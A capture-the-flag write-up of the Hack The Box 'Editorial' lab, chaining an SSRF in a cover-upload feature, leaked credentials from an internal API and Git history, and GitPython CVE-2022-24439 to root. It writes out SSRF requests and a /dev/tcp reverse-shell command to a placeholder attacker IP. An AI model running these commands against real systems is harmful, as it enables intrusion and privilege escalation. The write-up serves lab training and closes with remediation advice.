Editorial — SSRF and Git History Credential Leak to GitPython Command Injection
- Tools
- rustscan, ffuf, curl, sshpass, git, netcat, python3
- Skill demonstrated
- SSRF exploitation and credential-driven lateral movement to GitPython command injection
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Easy |
| Target environment | Linux (Ubuntu 22.04); nginx publishing platform |
| Starting position | Unauthenticated network access |
| Objective | Chain SSRF, credential leakage, and a vulnerable GitPython sudo script to root |
| Outcome | Root command execution via CVE-2022-24439 as the production user |
Summary
Section titled “Summary”Editorial is an Easy-rated Hack The Box Linux lab. A book-cover upload feature on a publishing platform fetches user-supplied URLs server-side, and the resulting SSRF reaches an internal API that returns development-user credentials; SSH access with those credentials then exposes a Git repository whose history leaks production credentials, and a sudo rule lets the production user run a GitPython script as root that is vulnerable to CVE-2022-24439. Credential values, target and attacker addresses, hostnames, and internal paths are replaced with role-based placeholders; command syntax is preserved.
Attack path: SSRF via cover upload → internal API credential leak → SSH as development user → Git history production credential leak → SSH as production user → GitPython ext:: command injection (CVE-2022-24439) → root
Context and Objective
Section titled “Context and Objective”- Target: Linux (Ubuntu 22.04) hosting an nginx publishing platform.
- Exposed services: SSH (22) and HTTP (80).
- Starting position: unauthenticated network access.
- Objective: identify and exploit the SSRF vector, enumerate internal services, recover credentials, and escalate to root.
- Constraints: activity was confined to the Hack The Box lab environment. The platform is served under a hostname-based vhost, so
<TARGET_HOST>is resolved to the target address for the web requests below.
Approach and Evidence
Section titled “Approach and Evidence”1. Service Enumeration
Section titled “1. Service Enumeration”Observation: the target exposes SSH and HTTP.
rustscan -a <TARGET_IP> --ulimit 5000 -- -sC -sV -Pn -oN nmap/target-TCP22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.780/tcp open http nginx 1.18.0 (Ubuntu)Significance: only two services are exposed, and the HTTP vhost is the sole interaction point for the upload feature.
Result: SSH and nginx are identified, and the publishing platform is reachable over HTTP.
2. SSRF via Book Cover Upload
Section titled “2. SSRF via Book Cover Upload”Observation: the cover-upload action accepts a user-supplied bookurl and fetches it server-side, so pointing it at loopback ports probes the internal interface through the SSRF.
ffuf -u http://<TARGET_HOST><UPLOAD_ENDPOINT> -request ssrf.req -w <(seq 0 65535) -ac5000 [Status: 200]Significance: the server-side fetch reaches loopback, so services bound to the internal interface are exposed through the upload feature.
Result: an internal API service answers on port 5000.
3. Internal API Enumeration
Section titled “3. Internal API Enumeration”Observation: the internal service exposes metadata endpoints, and its JSON response is retrievable through the SSRF via the upload feature’s static output path.
curl http://<TARGET_HOST>/static/uploads/<UPLOAD_ID>.json -s | jq .{ "messages": [ { "promotions": { "endpoint": "<PROMOTIONS_ENDPOINT>", "methods": "GET" } }, { "new_authors": { "endpoint": "<AUTHORS_ENDPOINT>", "methods": "GET" } } ], "version": [ { "changelog": { "endpoint": "<CHANGELOG_ENDPOINT>", "methods": "GET" } } ]}Significance: the API advertises its own routes, so the credential-bearing authors endpoint is discoverable without further guessing.
Result: metadata endpoints are enumerated and the onboarding (authors) endpoint is identified.
4. Credential Leak via Internal API
Section titled “4. Credential Leak via Internal API”Observation: the authors endpoint returns onboarding credentials.
curl -X POST http://<TARGET_HOST><UPLOAD_ENDPOINT> \ -F "bookurl=http://<INTERNAL_API_HOST>:5000<AUTHORS_ENDPOINT>" \ -F "bookfile=@/dev/null;filename="Your login credentials for our internal forum and authors site are:Username: <DEVELOPMENT_USER>Password: <DEVELOPMENT_USER_PASSWORD>Please be sure to change your password as soon as possible for security purposes.Significance: an internal-only endpoint returns plaintext credentials, so the SSRF alone yields usable account data.
Result: development-user credentials are recovered through the SSRF.
5. SSH Access as Development User
Section titled “5. SSH Access as Development User”Observation: the recovered credentials fit the exposed SSH service.
sshpass -p '<DEVELOPMENT_USER_PASSWORD>' ssh <DEVELOPMENT_USER>@<TARGET_HOST>The source records this login and the later production-user login as successful without captured session output.
Significance: authenticated access as the development user provides the home directory that holds the Git repository used in the next stage.
Result: a development-user shell is obtained.
6. Git History Credential Leak
Section titled “6. Git History Credential Leak”Observation: a Git repository under the development user’s home directory contains a reverted production configuration change.
cd <DEVELOPMENT_HOME>/<REPOSITORY_DIRECTORY> && git logcommit <COMMIT_HASH> change(api): downgrading prod to devgit show <COMMIT_HASH>- const password = '<PRODUCTION_USER_PASSWORD>';Significance: secrets removed from the working tree persist in history, so the reverted change still exposes the production password.
Result: production-user credentials are recovered from commit history.
7. Lateral Movement to Production User
Section titled “7. Lateral Movement to Production User”Observation: the production credentials fit the same SSH service.
sshpass -p '<PRODUCTION_USER_PASSWORD>' ssh <PRODUCTION_USER>@<TARGET_HOST>Significance: the production account holds the sudo rule that permits root execution, making it the pivot for privilege escalation.
Result: a production-user shell is obtained.
8. Privilege Escalation via CVE-2022-24439
Section titled “8. Privilege Escalation via CVE-2022-24439”Observation: the production user may run a Python script as root.
sudo -lUser <PRODUCTION_USER> may run the following commands on <TARGET_HOST>: (root) /usr/bin/python3 <PRIVILEGED_SCRIPT_PATH> *The script clones a user-supplied URL with GitPython and enables the ext:: transport:
import os, sysfrom git import Repoos.chdir('<PRIVILEGED_WORKING_DIRECTORY>')url_to_clone = sys.argv[1]r = Repo.init('', bare=True)r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])Action: GitPython before 3.1.30 is vulnerable to CVE-2022-24439 — the ext:: transport runs shell commands, and the wildcard sudo rule permits an arbitrary clone URL.
echo "bash -i >& /dev/tcp/<ATTACKER_IP>/<LISTEN_PORT> 0>&1" > /tmp/revshell.shnc -nlvp <LISTEN_PORT>sudo /usr/bin/python3 <PRIVILEGED_SCRIPT_PATH> 'ext::sh -c bash% /tmp/revshell.sh'root@<TARGET_HOST>:<PRIVILEGED_WORKING_DIRECTORY>#Significance: the wildcard argument combined with the enabled ext:: protocol turns a narrow-looking sudo rule into arbitrary root command execution.
Result: a root shell is returned on the callback, confirming the privilege change.
Challenges and Decisions
Section titled “Challenges and Decisions”The source documents no failed attempts or tradeoffs; the exploitation path was linear from SSRF to root, with each stage handing the next one a usable credential or execution context.
Outcome
Section titled “Outcome”The evidence establishes root command execution on the target through a sudo-permitted GitPython script vulnerable to CVE-2022-24439, with the privilege change confirmed by the returned root shell prompt.
Lessons and Recommendations
Section titled “Lessons and Recommendations”- Server-side request forgery in the upload feature. The cover-upload action fetched any user-supplied URL, exposing loopback-only services. Recommendation: validate and allowlist outbound fetch destinations, block loopback and internal ranges, and avoid returning fetched response bodies to the requester. Detection: alert on requests whose
bookurltargets internal addresses. - Internal API returned plaintext credentials. The authors endpoint disclosed onboarding credentials to any caller reaching it. Recommendation: never return reusable credentials from APIs, and require authentication even for internal-only endpoints.
- Secrets persisted in Git history. The production password was removed from the working tree but survived in a reverted commit. Recommendation: purge secrets from history and treat any exposed value as compromised and rotate it; add secret scanning to the pipeline and store secrets in a manager rather than source.
- GitPython
ext::transport reachable through a wildcard sudo rule. Enabling-c protocol.ext.allow=alwaysallowed command execution, and the*argument let the production user choose the clone URL. Recommendation: upgrade GitPython to 3.1.30 or later, restrict the sudo rule to fixed arguments rather than a wildcard, and avoid enabling theext::protocol.
References
Section titled “References”- Hack The Box — Editorial (retired Linux machine)
- NVD — CVE-2022-24439 (GitPython remote code execution via the
ext::protocol) - GitHub Advisory — GHSA-hcpj-qp55-gfph (GitPython remote code execution via the
ext::protocol; CVE-2022-24439) - GitPython 3.1.30 release (fix version for CVE-2022-24439)
- RustScan (fast port scanner)
- ffuf (content and parameter fuzzing, including the internal port scan)
- curl — command-line tool and library
- sshpass (non-interactive SSH password authentication)
- Git — Reference (commit history inspection)